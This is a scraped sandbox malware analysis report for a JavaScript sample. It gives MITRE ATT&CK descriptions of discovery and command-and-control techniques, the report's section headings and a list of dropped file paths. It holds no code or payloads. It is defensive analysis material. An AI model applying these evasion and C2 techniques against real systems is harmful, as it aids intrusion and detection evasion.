Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 253742123626823892.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2176b8af-de0e-4c9e-b6d0-d0fe932cf7f5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6552

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
253742123626823892.js